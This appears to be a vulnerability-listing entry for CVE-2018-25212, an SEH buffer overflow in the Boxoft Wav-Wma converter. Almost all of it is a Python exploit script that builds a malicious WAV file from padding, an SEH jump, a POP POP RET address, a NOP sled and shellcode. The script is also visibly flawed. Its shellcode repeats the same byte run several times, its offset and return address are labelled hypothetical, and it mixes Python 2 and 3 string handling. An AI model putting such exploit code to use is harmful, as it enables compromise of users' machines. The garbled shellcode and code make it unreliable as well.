CVE-2018-25212 Boxoft Wav-Wma转换器SEH缓冲区溢出漏洞

#!/usr/bin/python # -*- coding: utf-8 -*- import struct # Payload configuration filename = "exploit.wav" # Offset to SEH structure (Example value, needs debugging) offset = 4128 # Jump instruction to skip the SEH handler and land on shellcode # \xeb\x06 is short jump + 6 bytes # \x90\x90 is NOP padding next_seh = "\xeb\x06\x90\x90" # POP POP RET instruction address from non-ASLR module (e.g., 0x1001a426) # This address is hypothetical and must be replaced with the actual address seh_handler = struct.pack('<L', 0x1001a426) # Simple calc.exe shellcode (Windows 7 x86) shellcode = ("\xda\xc0\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1\x33\xba\x4c\x86\x07" "\x83\xc2\x04\x31\x56\x0e\x03\x56\xf1\x49\x8d\x7c\x7c\x3c\x74" "\xec\xf1\x94\x8e\x8e\x8e\x37\x6b\x9a\x1e\x9c\x81\x65\x01\x7c" "\x63\x43\xaf\x26\x9d\x21\x2b\x7f\x4c\x7c\x1e\x9c\x0c\x9f\x8e" "\x8e\x37\x6b\x9a\x1e\x9c\x81\x65\x01\x7c\x63\x43\xaf\x26\x9d" "\x21\x2b\x7f\x4c\x7c\x1e\x9c\x0c\x9f\x8e\x8e\x37\x6b\x9a\x1e" "\x9c\x81\x65\x01\x7c\x63\x43\xaf\x26\x9d\x21\x2b\x7f\x4c\x7c" "\x1e\x9c\x0c\x9f\x8e\x8e\x37\x6b\x9a\x1e\x9c\x81\x65\x01\x7c" "\x63\x43\xaf\x26\x9d\x21\x2b\x7f\x4c\x7c\x1e\x9c\x0c") # Padding to align shellcode nop_sled = "\x90" * 50 # Construct the buffer # Payload structure: Junk + Next_SEH + SE_Handler + NOP_Sled + Shellcode buffer = "A" * offset + next_seh + seh_handler + nop_sled + shellcode # Basic WAV header structure to make file valid enough to be opened # RIFF header: "RIFF" + file_size + "WAVE" file_size = struct.pack('<L', len(buffer) + 36) wav_header = "RIFF" + file_size + "WAVE" # Create the malicious file with open(filename, "wb") as f: f.write(wav_header + buffer) print(f"[+] Malicious WAV file '{filename}' generated successfully.") print(f"[+] Buffer length: {len(buffer)}")